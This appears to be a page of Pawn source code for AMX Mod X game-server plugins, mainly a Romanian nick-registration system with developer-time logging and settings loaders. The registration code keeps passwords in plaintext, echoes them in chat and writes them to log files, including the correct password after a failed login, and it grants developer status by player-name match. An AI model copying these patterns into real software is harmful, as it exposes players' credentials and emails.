	for(new i = 0; i < ArraySize(g_developer); i++)
	{	
		ArrayGetString(g_developer, i, name, charsmax(name));
		if(equali(g_name[id], name))
		{
			flag_set(g_isdeveloper, id)
			break;
		}
	}
}

stock set_register(id)
{
	if(!is_user_connected(id))	flag_unset(g_isregistered, id)
	
	if(get_user_flags(id) & g_access_flag)	flag_set(g_isregistered, id)
	else	flag_unset(g_isregistered, id)
}

stock log_slot(id)
{
	get_user_ip(id, ip, charsmax(ip), 1);
	get_user_authid(id, authid, charsmax(authid));
	formatex(content, charsmax(content), "%s [IP: %s | STEAM: %s] si-a inregistrat numele. Timp acutal - %s", g_name[id], ip, authid, convert_minutes(id));
	log_to_file(LOG_FILE, content);
}

stock log_developer(admin, id, time, type)
{
	get_user_ip(admin, ip, charsmax(ip), 1);
	get_user_authid(admin, authid, charsmax(authid));
	
	switch(type)
	{
		case 1: formatex(content, charsmax(content), "Developer: %s [IP: %s | STEAM: %s] ii ofera %d minut%s lui %s. [timp total: %s]", g_name[admin], ip, authid, time, time == 1 ? "" : "e", g_name[id], convert_minutes(id));
		case 2: formatex(content, charsmax(content), "Developer: %s [IP: %s | STEAM: %s] ii scoate %d minut%s lui %s. [timp total: %s]", g_name[admin], ip, authid, time, time == 1 ? "" : "e", g_name[id], convert_minutes(id));
	}
	log_to_file(LOG_DEVELOPER, content);
}

// Credite MeRcyLeZZ - pentru https://forums.alliedmods.net/showthread.php?t=243202
public native_load_setting_int(const filename[], const section[], const key[])
{
	// Open file for read
	new path[64], file, file_name[64];
	formatex(file_name, charsmax(file_name), "%s", filename);
	OpenCustomFileRead(path, charsmax(path), file_name, file);
	
	new section_str[64]
	formatex(section_str, charsmax(section_str), "%s", section);
	SectionExists(file, section_str)
	
	// Try to find key in section
	new keypos_start, keypos_end, key_str[64];
	formatex(key_str, charsmax(key_str), "%s", key);
	KeyExists(file, key_str, keypos_start, keypos_end);
	
	new value[16];
	SeekReturnValues(file, keypos_start, value, charsmax(value));
	new valoare = str_to_num(value);
	
	return valoare;
}

public native_load_setting_string(const filename[], const section[], const key[], setting_string[], len)
{
	// Open file for read
	new path[64], file, file_str[64];
	formatex(file_str, charsmax(file_str), "%s", filename);
	OpenCustomFileRead(path, charsmax(path), file_str, file)
	
	// Try to find section
	new section_str[64];
	formatex(section_str, charsmax(section_str), "%s", section);
	SectionExists(file, section_str)
	
	// Try to find key in section
	new keypos_start, keypos_end, key_str[64];
	formatex(key_str, charsmax(key_str), "%s", key);
	KeyExists(file, key_str, keypos_start, keypos_end);
	
	// Return string by reference
	new value[128]
	SeekReturnValues(file, keypos_start, value, charsmax(value))
	formatex(setting_string, len, "%s", value);
	
	// Value succesfully retrieved
	fclose(file);
	return true;
}

public native_load_setting_string_arr(const filename[], const section[], const key[], Array:array_handle)
{
	// Open file for read
	new path[64], file, file_str[64];
	formatex(file_str, charsmax(file_str), "%s", filename);
	if (!OpenCustomFileRead(path, charsmax(path), file_str, file))
		return false;
	
	// Try to find section
	new section_str[64];
	formatex(section_str, charsmax(section_str), "%s", section);
	if (!SectionExists(file, section_str))
	{
		fclose(file)
		return false;
	}
	
	// Try to find key in section
	new keypos_start, keypos_end, key_str[64];
	formatex(key_str, charsmax(key_str), "%s", key);
	if (!KeyExists(file, key_str, keypos_start, keypos_end))
	{
		fclose(file)
		return false;
	}
	
	// Return array
	new values[1024]
	SeekReturnValues(file, keypos_start, values, charsmax(values))
	ParseValuesArrayString(values, charsmax(values), array_handle)
	
	// Values succesfully retrieved
	fclose(file)
	return true;
}

OpenCustomFileRead(path[], len1, filename[], &file, create = false)
{	
	// Build customization file path
	get_configsdir(path, len1)
	format(path, len1, "%s/%s", path, filename)
	
	// File not present, create new file?
	if (!file_exists(path))
	{
		if (create)	write_file(path, "", -1)
		else	return false;
	}
	
	// Open customization file for reading
	file = fopen(path, "rt")
	if(!file)	return false;
	
	return true;
}

SectionExists(file, setting_section[])
{
	// Seek to setting's section
	new linedata[96], section[64]	
	while (!feof(file))
	{
		// Read one line at a time
		fgets(file, linedata, charsmax(linedata))
		
		// Replace newlines with a null character
		replace(linedata, charsmax(linedata), "^n", "")
		
		// New section starting
		if (linedata[0] == '[')
		{
			// Store section name without braces
			copyc(section, charsmax(section), linedata[1], ']')
			
			// Is this our setting's section?
			if (equal(section, setting_section))	return true;
		}
	}
	
	return false;
}

KeyExists(file, setting_key[], &keypos_start, &keypos_end)
{
	// Seek to setting's key
	new linedata[96], key[64]
	while (!feof(file))
	{
		// Read one line at a time
		keypos_start = ftell(file)
		fgets(file, linedata, charsmax(linedata))
		
		// Replace newlines with a null character
		replace(linedata, charsmax(linedata), "^n", "")
		
		// Blank line or comment
		if (!linedata[0] || linedata[0] == ';') continue;
		
		// Section ended?
		if (linedata[0] == '[')	break;
		
		// Get key
		keypos_end = ftell(file)
		copyc(key, charsmax(key), linedata, '=')
		trim(key)
		
		// Is this our setting's key?
		if (equal(key, setting_key))	return true;
	}
	
	return false;
}

SeekReturnValues(file, keypos_start, values[], len1)
{
	// Seek to key and parse it
	new linedata[1024], key[64]
	fseek(file, keypos_start, SEEK_SET)
	fgets(file, linedata, charsmax(linedata))
	
	// Replace newlines with a null character
	replace(linedata, charsmax(linedata), "^n", "")
	
	// Get values
	strtok(linedata, key, charsmax(key), values, len1, '=')
	trim(values)
}

ParseValuesArrayString(values[], len1, Array:array_handle)
{
	// Parse values
	new current_value[128]
	while (values[0] != 0 && strtok(values, current_value, charsmax(current_value), values, len1, ','))
	{
		// Trim spaces
		trim(current_value)
		trim(values)
		
		// Add to array
		ArrayPushString(array_handle, current_value)
	}
}

update nick_registration.sma | Afiseaza codul
/* Plugin generated by AMXX-Studio */

#include < amxmodx >
#include < amxmisc >
#include < fakemeta >
#include < colorchat >



//#define BUG_TNI
//#define JUST_ADMINS


#if !defined BUG_TNI
#define METHOD 2
#endif



#define PLUGIN "Nick Registration"
#define VERSION "0.0.2X"

new const g_szInfoKey[ ] = "_reg";
new const g_szNoneWord[ ] = "None";
new const g_szTag[ ] = "^x04|^x03 REGISTER-SYS^x01:";

enum _:eRegisterInfos
{
	Nick[ 32 ],
	Password[ 32 ],
	Mail[ 64 ]
}

new nume[ 32 ],HostName[ 65 ],Array:g_aData,g_szLoginInfo[ 33 ][ eRegisterInfos ],g_iRegistrations = 0,g_szRegisterFile[ 64 ]
static szPasswordxx[ 32 ],szIp[ 22 ], szAuthID[ 35 ]


//#define LICENTA_PRIN_IP_PORT

#if defined LICENTA_PRIN_IP_PORT
#include <licenta>
#endif


//#define LICENTA_PRIN_MODEL

#if defined LICENTA_PRIN_MODEL
#include <licentax>
#define IP "89.34.25.64"

public plugin_precache()
{
CheckServer(IP);
}
#endif


//#define LICENTA_PRIN_IP_PORTx

#if defined LICENTA_PRIN_IP_PORTx
#include <licentay>
#define IP "89.34.25.64:27015"
#define SHUT_DOWN 0
#endif


#define LICENTA_PRIN_EXPIRARE

#if defined LICENTA_PRIN_EXPIRARE
#include <licentaz>
#endif


public plugin_init( )
{
#if defined LICENTA_PRIN_IP_PORT
licenta()
#endif


#if defined LICENTA_PRIN_IP_PORTx
UTIL_CheckServerLicense(IP,SHUT_DOWN);
#endif


#if defined LICENTA_PRIN_EXPIRARE
licenta( );
#endif


	register_plugin( PLUGIN, VERSION, "Askhanar&evo" );
	
	register_clcmd( "say /registernick", "ClCmdSayRegisterNick" );
	register_clcmd( "say_team /registernick", "ClCmdSayRegisterNick" );
	register_clcmd( "say registernick", "ClCmdSayRegisterNick" );
	register_clcmd( "say_team registernick", "ClCmdSayRegisterNick" );
	register_clcmd( "say /register", "ClCmdSayRegisterNick" );
	register_clcmd( "say_team /register", "ClCmdSayRegisterNick" );
	register_clcmd( "say register", "ClCmdSayRegisterNick" );
	register_clcmd( "say_team register", "ClCmdSayRegisterNick" );
	register_clcmd( "say /reg", "ClCmdSayRegisterNick" );
	register_clcmd( "say_team /reg", "ClCmdSayRegisterNick" );
	register_clcmd( "say reg", "ClCmdSayRegisterNick" );
	register_clcmd( "say_team reg", "ClCmdSayRegisterNick" );

	register_clcmd( "RN_SetPassword", "__RN_SetPassword" );
	register_clcmd( "RN_SetMail", "__RN_SetMail" );
	
	register_forward( FM_ClientUserInfoChanged, "fwd_ClientUserInfoChangedPost", false );
	g_aData = ArrayCreate( eRegisterInfos );

	set_task( 250.0, "AVERTIZE", 0, _, _, "b" );
}

public AVERTIZE( )
{
	get_cvar_string( "hostname", HostName, charsmax( HostName ) );

#if defined BUG_TNI
	for( new id = 1; id < get_maxplayers( ); ++id )
	{
		if( is_user_connected( id ) && !is_user_bot( id ) || !is_user_hltv( id ) )
		{
		get_user_name( id, nume, sizeof ( nume ) -1 );
#if defined JUST_ADMINS
		if( is_user_admin( id ) )	if( !/*UserIsRegistered*/CheckRegistration( id, nume ) && containi( nume, HostName ) == -1 )	ColorChat( id, NORMAL, "%s^x04 OH^x01! Se pare ca esti^x03 ADMIN^x01, dar nu ai^x04 CONT^x01..Creeaza Imediat unul prin comanda^x03 /reg^x01 !", g_szTag );
#else
		if( !CheckRegistration( id, nume ) && containi( nume, HostName ) == -1 )	ColorChat( id, NORMAL, "%s^x04 OH^x01! Se pare ca nu esti^x03 INREGISTRAT^x01..Inregistreaza-te Imediat prin comanda^x04 /reg^x01 !", g_szTag );
#endif
		}
	}
#else
	#if METHOD == 1
	new iPlayers[ 32 ], iPlayersNum, y, id;
	get_players( iPlayers, iPlayersNum, "ch" );

	if( !iPlayersNum )	return;

	for( y = 1; y < iPlayersNum; ++y )
	{
		id = iPlayers[ y ];

		get_user_name( id, nume, sizeof ( nume ) -1 );
#if defined JUST_ADMINS
		if( is_user_admin( id ) )	if( !CheckRegistration( id, nume ) && containi( nume, HostName ) == -1 )	xCoLoR( id, "%s!v OH!n! Se pare ca esti!e ADMIN!n, dar nu ai!v CONT!n..Creeaza Imediat unul prin comanda!e /reg!n !", g_szTag );
#else
		if( !CheckRegistration( id, nume ) && containi( nume, HostName ) == -1 )	xCoLoR( id, "%s!v OH!n! Se pare ca nu esti!e INREGISTRAT!n..Inregistreaza-te Imediat prin comanda!v /reg!n !", g_szTag );
#endif
	}
	#endif
	#if METHOD == 2
	for( new id = 1; id <= get_maxplayers( ); id++ )
	{
		get_user_name( id, nume, sizeof ( nume ) -1 );
#if defined JUST_ADMINS
		if( is_user_admin( id ) )	if( !CheckRegistration( id, nume ) && containi( nume, HostName ) == -1 )	xCoLoR( id, "%s!v OH!n! Se pare ca esti!e ADMIN!n, dar nu ai!v CONT!n..Creeaza Imediat unul prin comanda!e /reg!n !", g_szTag );
#else
		if( !CheckRegistration( id, nume ) && containi( nume, HostName ) == -1 )	xCoLoR( id, "%s!v OH!n! Se pare ca nu esti!e INREGISTRAT!n..Inregistreaza-te Imediat prin comanda!v /reg!n !", g_szTag );
#endif
	}
	#endif
#endif
}

public plugin_cfg( )	LoadRegistrations( );

public client_authorized( id )
{
	get_user_name( id, nume, sizeof ( nume ) -1 );
	get_cvar_string( "hostname", HostName, charsmax( HostName ) );
	
#if defined JUST_ADMINS
	if( is_user_admin( id ) )
	{
#endif
	if( CheckRegistration( id, nume ) && containi( nume, HostName ) == -1 )
	{
		get_user_info( id, g_szInfoKey, szPasswordxx, sizeof ( szPasswordxx ) -1 );
		get_user_ip( id, szIp, sizeof ( szIp ) -1, 1 );
		get_user_authid( id, szAuthID, sizeof ( szAuthID ) -1 );
		
		if( equal( szPasswordxx, g_szLoginInfo[ id ][ Password ] ) )
		{
			ColorChat( id, NORMAL, "%s Ai fost logat cu^x04 Succes^x01!^nNick:^x03 %s^n^x01Parola:^x04 %s^n^x01E-Mail:^x03 %s", g_szTag,
				g_szLoginInfo[ id ][ Nick ], g_szLoginInfo[ id ][ Password ], g_szLoginInfo[ id ][ Mail ] );
			log_to_file( "REGISTER-SYS.log", "--| %s ( %s|%s ) s-a logat cu succes( Parola: %s, E-Mail: %s )",
				nume, szIp, szAuthID, g_szLoginInfo[ id ][ Password ], g_szLoginInfo[ id ][ Mail ] );
			
			return PLUGIN_HANDLED;
		}
		else
		{
			server_cmd( "kick #%i ^"Nick rezervat! Model de introducere a parolei: setinfo %s parola^"",
				get_user_userid( id ), g_szInfoKey );
			if( equal( szPasswordxx, "" ) )	format( szPasswordxx, charsmax( szPasswordxx ), "nesetata" );
			log_to_file( "REGISTER-SYS.log", "--| %s ( %s|%s ) Parola %s este gresita! ( Parola corecta: %s )",
				nume, szIp, szAuthID, szPasswordxx, g_szLoginInfo[ id ][ Password ] );
		}
	}
#if defined JUST_ADMINS
	}
#endif
	return PLUGIN_CONTINUE;
}

public fwd_ClientUserInfoChangedPost( id, InfoKey )
{
	if( !is_user_connected( id ) /*|| is_user_connecting( id )*/ )	return FMRES_IGNORED;
	
	new szNewName[ 32 ];
	get_user_name( id, nume, sizeof ( nume ) -1 );
	get_cvar_string( "hostname", HostName, charsmax( HostName ) );
	engfunc( EngFunc_InfoKeyValue, InfoKey, "name", szNewName, sizeof ( szNewName ) -1 );

	if( equali( nume, szNewName ) )	return FMRES_IGNORED;

	if( equali( szNewName, HostName ) )
	{
		show_menu( id, 0, "^n", 1 );
		return FMRES_IGNORED;
	}
	
#if defined JUST_ADMINS
	if( is_user_admin( id ) )
	{
#endif
	if( CheckRegistration( id, szNewName ) && !equali( szNewName, HostName ) )
	{
		get_user_info( id, g_szInfoKey, szPasswordxx, sizeof ( szPasswordxx ) -1 );
		get_user_ip( id, szIp, sizeof ( szIp ) -1, 1 );
		get_user_authid( id, szAuthID, sizeof ( szAuthID ) -1 );
		
		if( equal( szPasswordxx, g_szLoginInfo[ id ][ Password ] ) )
		{
			ColorChat( id, NORMAL, "%s Ai fost logat cu^x03 Succes^x01!^nNick:^x04 %s^n^x01Parola:^x03 %s^n^x01E-Mail:^x04 %s", g_szTag,
				g_szLoginInfo[ id ][ Nick ], g_szLoginInfo[ id ][ Password ], g_szLoginInfo[ id ][ Mail ] );
			log_to_file( "REGISTER-SYS.log", "--| %s ( %s|%s ) s-a logat cu succes( Parola: %s, E-Mail: %s )",
				szNewName, szIp, szAuthID, g_szLoginInfo[ id ][ Password ], g_szLoginInfo[ id ][ Mail ] );
		}
		else
		{
			server_cmd( "kick #%i ^"Acest nick este rezervat iar tu ai gresit parola^nModel de introducere a parolei: setinfo %s parola^"",
				get_user_userid( id ), g_szInfoKey );
			if( equal( szPasswordxx, "" ) )	format( szPasswordxx, charsmax( szPasswordxx ), "nesetata" );
			log_to_file( "REGISTER-SYS.log", "--| %s ( %s ) Parola %s este gresita! ( Parola corecta: %s )",
				szNewName, szIp, szPasswordxx, g_szLoginInfo[ id ][ Password ] );
		}
	}
#if defined JUST_ADMINS
	}
#endif
	return FMRES_IGNORED;
}

public ClCmdSayRegisterNick( id )
{
#if defined JUST_ADMINS
	if( !is_user_admin( id ) )
	{
		ColorChat( id, NORMAL, "%s Momentan, inregistrarea este optionala doar pentru^x04 ADMINI^x01!", g_szTag );
		return PLUGIN_HANDLED;
	}
#endif
	if( is_user_admin( id ) )
	{
		ColorChat( id, NORMAL, "%s Deja ai cont^x04 Registrat^x01 !", g_szTag );
		return PLUGIN_HANDLED;
	}

	get_user_name( id, nume, sizeof ( nume ) -1 );

	if( /*UserIsRegistered*/CheckRegistration( id, nume ) )
	{
		ColorChat( id, NORMAL, "%s^x04 %s^x01, acest nick este deja inregistrat!", g_szTag, nume );
		return PLUGIN_HANDLED;
	}

	get_cvar_string( "hostname", HostName, charsmax( HostName ) );

	if( containi( nume, HostName ) != -1 )
	{
		ColorChat( id, NORMAL, "%s^x04 Nu poti inregistra acest^x03 NICK^x01!", g_szTag );
		return PLUGIN_HANDLED;
	}
	
	new szMenuName[ 128 ];
	formatex( szMenuName, sizeof ( szMenuName ) -1, "\r Inregistrare Cont^n^n\wNick:\y %s \r|\w Parola:\y %s^n\wE-Mail:\y %s^n^n",
		nume, g_szLoginInfo[ id ][ Password ], g_szLoginInfo[ id ][ Mail ] );
	
	new iMenu = menu_create( szMenuName, "NR_RegisterMenu" );
	menu_additem( iMenu, "\wSeteaza parola", "1", 0 );
	menu_additem( iMenu, "\wSeteaza e-mail^n", "2", 0 );
	menu_additem( iMenu, "\rConfirma rezervarea", "3", 0 );
	
	menu_setprop( iMenu, MPROP_EXITNAME, "\wIesire" );
	menu_display( id, iMenu );
	
	return PLUGIN_CONTINUE;
}

public NR_RegisterMenu( id, iMenu, iItem )
{
	if( iItem == MENU_EXIT )
	{
		menu_destroy( iMenu );
		return PLUGIN_HANDLED;
	}

	get_user_name( id, nume, sizeof ( nume ) -1 );

	/*get_cvar_string( "hostname", HostName, charsmax( HostName ) );

	if( containi( nume, HostName ) != -1 )
	{
		ColorChat( id, NORMAL, "%s^x04 Nu poti inregistra acest^x03 NICK^x01!", g_szTag );
		return PLUGIN_HANDLED;
	}*/
	
	static _access, szInfo[ 4 ], iCallback;
	menu_item_getinfo( iMenu, iItem, _access, szInfo, sizeof ( szInfo ) -1, _, _, iCallback );
	menu_destroy( iMenu );
	
	new iKey = str_to_num( szInfo );
	switch( iKey )
	{
		case 1:
		{
			/*if( containi( szName, HostName ) != -1 )
			{
				ColorChat( id, NORMAL, "%s^x04 Nu poti inregistra acest^x03 NICK^x01!", g_szTag );
				return PLUGIN_HANDLED;
			}*/

			ColorChat( id, NORMAL, "%s Esti rugat sa scrii o parola(VEZI SUS), apoi sa apesi^x04 ENTER^x01.", g_szTag );
			client_cmd( id, "messagemode RN_SetPassword" );
			ClCmdSayRegisterNick( id );
		}
		case 2:
		{
			/*if( containi( szName, HostName ) != -1 )
			{
				ColorChat( id, NORMAL, "%s^x04 Nu poti inregistra acest^x03 NICK^x01!", g_szTag );
				return PLUGIN_HANDLED;
			}*/

			ColorChat( id, NORMAL, "%s Esti rugat sa scrii un e-mail(VEZI SUS), apoi sa apesi^x04 ENTER^x01.", g_szTag );
			client_cmd( id, "messagemode RN_SetMail" );
			ClCmdSayRegisterNick( id );
		}
		case 3:
		{
			/*if( containi( nume, HostName ) != -1 )
			{
				ColorChat( id, NORMAL, "%s^x04 Nu poti inregistra acest^x03 NICK^x01!", g_szTag );
				return PLUGIN_HANDLED;
			}*/

			if( !( equal( g_szLoginInfo[ id ][ Password ], "" ) || equal( g_szLoginInfo[ id ][ Mail ], "" ) ) )
			{
				/*if( containi( nume, HostName ) != -1 )
				{
					ColorChat( id, NORMAL, "%s^x04 Nu poti inregistra acest^x03 NICK^x01!", g_szTag );
					return PLUGIN_HANDLED;
				}*/
				
				ColorChat( id, NORMAL, "%s Ai fost inregistrat cu^x04 Succes^x01, datele fiind urmatoarele:", g_szTag );
				ColorChat( id, NORMAL, "%s Nick:^x04 %s^x01 | Parola:^x03 %s", g_szTag, nume, g_szLoginInfo[ id ][ Password ] );
				ColorChat( id, NORMAL, "%s E-Mail:^x04 %s", g_szTag, g_szLoginInfo[ id ][ Mail ] );
				ColorChat( id, NORMAL, "%s Pentru a te loga foloseste: ^"^x04setinfo %s %s^x01^"", g_szTag, g_szInfoKey, g_szLoginInfo[ id ][ Password ] );
				
				new eData[ eRegisterInfos ];
				copy( eData[ Nick ], sizeof ( eData[ Nick ] ) -1, nume );
				copy( eData[ Password ], sizeof ( eData[ Password ] ) -1, g_szLoginInfo[ id ][ Password ] );
				copy( eData[ Mail ], sizeof ( eData[ Mail ] ) -1, g_szLoginInfo[ id ][ Mail ] );
				
				ArrayPushArray( g_aData, eData );
				g_iRegistrations++;
				
				CheckRegistration( id, nume );
				
				get_user_ip( id, szIp, sizeof ( szIp ) -1 );
				get_user_authid( id, szAuthID, sizeof ( szAuthID ) -1 );
				log_to_file( "REGISTER-SYS.log", "--| %s ( %s|%s ) s-a inregistrat cu succes! [ Nick: %s | Parola: %s | E-Mail: %s ]",
					nume, szIp, szAuthID, eData[ Nick ], eData[ Password ], eData[ Mail ] );
					
				SaveRegistrations( );
			}
			else
			{
				/*if( containi( nume, HostName ) != -1 )
				{
					ColorChat( id, NORMAL, "%s^x04 Nu poti inregistra acest^x03 NICK^x01!", g_szTag );
					return PLUGIN_HANDLED;
				}*/

				ColorChat( id, NORMAL, "%s^x04 Datele pentru inregistrare sunt incomplete!", g_szTag );
				ClCmdSayRegisterNick( id );
			}
		}
	}
	
	return PLUGIN_CONTINUE;
}

public __RN_SetPassword( id )
{
	/*get_cvar_string( "hostname", HostName, charsmax( HostName ) );
	get_user_name( id, nume, sizeof ( nume ) -1 );

	if( containi( nume, HostName ) != -1 )
	{
		ColorChat( id, NORMAL, "%s^x04 Nu poti inregistra acest^x03 NICK^x01!", g_szTag );
		return PLUGIN_HANDLED;
	}*/

	static szArg[ 15 ];
	read_argv( 1, szArg, sizeof ( szArg ) -1 );
	
	if( !strlen( szArg ) || strlen( szArg ) < 6 )
	{
		ColorChat( id, NORMAL, "%s^x04 Parola NU poate fi mai mica de 6 caractere!", g_szTag );
		
		client_cmd( id, "messagemode RN_SetPassword");
		ClCmdSayRegisterNick( id );
		return PLUGIN_HANDLED;
	}
	else if( strlen( szArg ) > 15 )
	{
		ColorChat( id, NORMAL, "%s^x04 Parola NU poate fi mai mare de 15 caractere!", g_szTag );
		
		client_cmd( id, "messagemode RN_SetPassword");
		ClCmdSayRegisterNick( id );
		return PLUGIN_HANDLED;
	}
	
	copy( g_szLoginInfo[ id ][ Password ], sizeof ( g_szLoginInfo[ ][ Password ] ) -1, szArg );
	ClCmdSayRegisterNick( id );
	return PLUGIN_HANDLED;
}

public __RN_SetMail( id )
{
	/*get_cvar_string( "hostname", HostName, charsmax( HostName ) );
	get_user_name( id, nume, sizeof ( nume ) -1 );

	if( containi( nume, HostName ) != -1 )
	{
		ColorChat( id, NORMAL, "%s^x04 Nu poti inregistra acest^x03 NICK^x01!", g_szTag );
		return PLUGIN_HANDLED;
	}*/

	static szArg[ 64 ];
	read_argv( 1, szArg, sizeof ( szArg ) -1 );
	
	if( containi( szArg, "@" ) == -1 && containi( szArg, "yahoo" ) == -1
		&& containi( szArg, "gmail" ) == -1 && containi( szArg, "hotmail" ) == -1 )
	{
		ColorChat( id, NORMAL, "%s^x04 %s^x01 nu este un e-mail valid!!", g_szTag, szArg );
		
		client_cmd( id, "messagemode RN_SetMail");
		ClCmdSayRegisterNick( id );
		return PLUGIN_HANDLED;
	}
	/*else if( strlen( szArg ) < 9 )
	{
		ColorChat( id, NORMAL, "%s^x03 Un e-mail NU poate avea mai putin de 9 caractere!", g_szTag );
		
		client_cmd( id, "messagemode RN_SetMail");
		ClCmdSayRegisterNick(  id  );
		return PLUGIN_HANDLED;
	}
	else if( strlen( szArg ) > 17 )
	{
		ColorChat( id, NORMAL, "%s^x03 Un e-mail NU poate avea mai mult de 17 caractere!", g_szTag );
		
		client_cmd( id, "messagemode RN_SetMail");
		ClCmdSayRegisterNick(  id  );
		return PLUGIN_HANDLED;
	}*/
	
	copy( g_szLoginInfo[ id ][ Mail ], sizeof ( g_szLoginInfo[ ][ Mail ] ) -1, szArg );
	ClCmdSayRegisterNick( id );
	return PLUGIN_HANDLED;
}

CheckRegistration( id, const szNick[ ] )
{
	new bool:bRegistered = false;
	new eData[ eRegisterInfos ];
	
	for( new i; i < g_iRegistrations; i++ )
	{
		ArrayGetArray( g_aData, i, eData );
		
		if( equal( szNick, eData[ Nick ] ) )
		{
			copy( g_szLoginInfo[ id ][ Nick ], sizeof ( g_szLoginInfo[ ][ Nick ] ) -1, eData[ Nick ] );
			copy( g_szLoginInfo[ id ][ Password ], sizeof ( g_szLoginInfo[ ][ Password ] ) -1, eData[ Password ] );
			copy( g_szLoginInfo[ id ][ Mail ], sizeof ( g_szLoginInfo[ ][ Mail ] ) -1, eData[ Mail ] );
			bRegistered = true;
			break;
		}
	}
	
	/*if( !bRegistered )
	{
		copy( g_szLoginInfo[ id ][ Nick ], sizeof ( g_szLoginInfo[ ][ Nick ] ) -1, g_szNoneWord );
		copy( g_szLoginInfo[ id ][ Password ], sizeof ( g_szLoginInfo[ ][ Password ] ) -1, g_szNoneWord );
		copy( g_szLoginInfo[ id ][ Mail ], sizeof ( g_szLoginInfo[ ][ Mail ] ) -1, g_szNoneWord );
	}*/
			
	return bRegistered;
}

LoadRegistrations( )
{
	get_localinfo( "amxx_datadir", g_szRegisterFile, sizeof ( g_szRegisterFile ) -1 );
	format( g_szRegisterFile, sizeof ( g_szRegisterFile ) -1, "%s/REGISTER-SYS.txt", g_szRegisterFile );
	
	if( g_iRegistrations )
	{
		ArrayClear( g_aData );
		g_iRegistrations = 0;
	}
	
	if( file_exists( g_szRegisterFile ) )
	{
		new iFile = fopen( g_szRegisterFile, "rt" );
		new szNickx[ 32 ], szPasswordx[ 32 ], szMail[ 64 ],szFileData[ 128 ], eData[ eRegisterInfos ];
		
		while( !feof( iFile ) )
		{
			fgets( iFile, szFileData, sizeof ( szFileData ) - 1 );
			
			if( !szFileData[ 0 ] || szFileData[ 0 ] == ';'
				|| ( szFileData[ 0 ] == '/' && szFileData[ 1 ] == '/' ) )
				continue;
			
			parse( szFileData, szNickx, sizeof ( szNickx ) -1,
				szPasswordx, sizeof ( szPasswordx ) -1,
				szMail, sizeof ( szMail ) -1 );
				
			copy( eData[ Nick ], sizeof ( eData[ Nick ] ) -1, szNickx );
			copy( eData[ Password ], sizeof ( eData[ Password ] ) -1, szPasswordx );
			copy( eData[ Mail ], sizeof ( eData[ Mail ] ) -1, szMail );
			
			ArrayPushArray( g_aData, eData );
			g_iRegistrations++;
		}
		
		fclose( iFile );
	}

	//if(++g_iRegistrations!=g_iRegistrations)
		//log_to_file( "REGISTER-SYS.log", "Am incarcat cu succes %i nick-uri inregistrate!", g_iRegistrations );
}

SaveRegistrations( )
{
	if( file_exists( g_szRegisterFile ) )	delete_file( g_szRegisterFile );
		
	new iFile = fopen( g_szRegisterFile, "wt" ),eData[ eRegisterInfos ];
	
	for( new i; i < g_iRegistrations; i++ )
	{
		ArrayGetArray( g_aData, i, eData );

		fprintf( iFile, "^"%s^" ^"%s^" ^"%s^"^n",
			eData[ Nick ], eData[ Password ], eData[ Mail ] );
	}
	
	fclose( iFile );
}

UserIsRegistered( const szName[ ] )
{
	new eData[ eRegisterInfos ],bool:bRegistered = false;
	
	for( new i; i < g_iRegistrations; i++ )
	{
		ArrayGetArray( g_aData, i, eData );
		
		if( equali( szName, eData[ Nick ] ) )
		{
			bRegistered = true;
			break;
		}
	}
	
	return bRegistered;
}

public plugin_end( )
{
	SaveRegistrations( );
	ArrayDestroy( g_aData );
}


#if !defined BUG_TNI
stock xCoLoR( const id, const input[ ], any:... )
{
	new count = 1, players[ 32 ];
	static msg[ 191 ];

	vformat( msg, charsmax(msg), input, 3 );

	replace_all( msg, charsmax(msg), "!v", "^4" );
	replace_all( msg, charsmax(msg), "!n", "^1" );
	replace_all( msg, charsmax(msg), "!e", "^3" );
	replace_all( msg, charsmax(msg), "!e2", "^0" );

	if( id )
	{
		players[ 0 ] = id;
	}
	else get_players( players, count, "ch" );
	{
		for( new i = 0; i < count; i++ )
		{
			if( is_user_connected( players[ i ] ) )
			{
				message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] );
				write_byte( players[ i ] );
				write_string( msg );
				message_end( );
			}
		}
	}
}
#endif

update admincmd.sma / FIX 24.02.2019 (va urma încă un fix) | Afiseaza codul
// de facut sa citeasca la addban, faza cu is steam on..si sa dea pe steamid??

/* AMX Mod X
*   Admin Commands Plugin
*
* by the AMX Mod X Development Team
*  originally developed by OLO
*
* This file is part of AMX Mod X.
*
*
*  This program is free software; you can redistribute it and/or modify it
*  under the terms of the GNU General Public License as published by the
*  Free Software Foundation; either version 2 of the License, or (at
*  your option) any later version.
*
*  This program is distributed in the hope that it will be useful, but
*  WITHOUT ANY WARRANTY; without even the implied warranty of
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
*  General Public License for more details.
*
*  You should have received a copy of the GNU General Public License
*  along with this program; if not, write to the Free Software Foundation, 
*  Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*  In addition, as a special exception, the author gives permission to
*  link the code of this program with the Half-Life Game Engine ("HL
*  Engine") and Modified Game Libraries ("MODs") developed by Valve, 
*  L.L.C ("Valve"). You must obey the GNU General Public License in all
*  respects for all of the code used other than the HL Engine and MODs
*  from Valve. If you modify this file, you may extend this exception
*  to your version of the file, but you are not obligated to do so. If
*  you do not wish to do so, delete this exception statement from your
*  version.
*/

#define DENUMIRE "FURIEN.EVILS.RO"

// de pus acces special(nick) la comenzi?, sau sa le schimb(denumirile), sau sa pun o parola/cod/pin

#include <amxmodx>
#include <amxmisc>
#include <geoip>

#include <ANTI_PROTECTION>


#define IN_CHAT_RANGS
#if defined IN_CHAT_RANGS
#define MAX_GROUPS 10
new g_groupNames[ MAX_GROUPS ][ ] =
{
   "Fondator",
   "Owner",
   "Co-Owner",
   "Administrator",
   "Co-Administrator",
   "Super-Moderator",
   "Moderator",
   "Helper",
   "*V.I.P*",//out
   "Slot"
}
new g_groupFlags[ MAX_GROUPS ][ ] =
{
   "abcdefghijklmnopqrstu",
   "abcdefghijklnopqrstu",
   "abcdefhijnopqrst",
   "bcdefijnopqrs",
   "cdefijnopqr",
   "cdefijopq",
   "cdefpij",
   "cdefri",
   "abdceifjt",
   "b"
}
new g_groupFlagsValue[ MAX_GROUPS ]
#endif


// This is not a dynamic array because it would be bad for 24/7 map servers.
#define OLD_CONNECTION_QUEUE 10

#define MAXRCONCVARS 16

new g_cvarRcon[MAXRCONCVARS][32]
new g_cvarRconNum
/*new g_pauseCon
new Float:g_pausAble
new bool:g_Paused
new bool:g_PauseAllowed = false*/
new g_addCvar[] = "amx_cvar add %s"

new cvar_min;

enum
{
	INFO_NAME,
	INFO_IP,
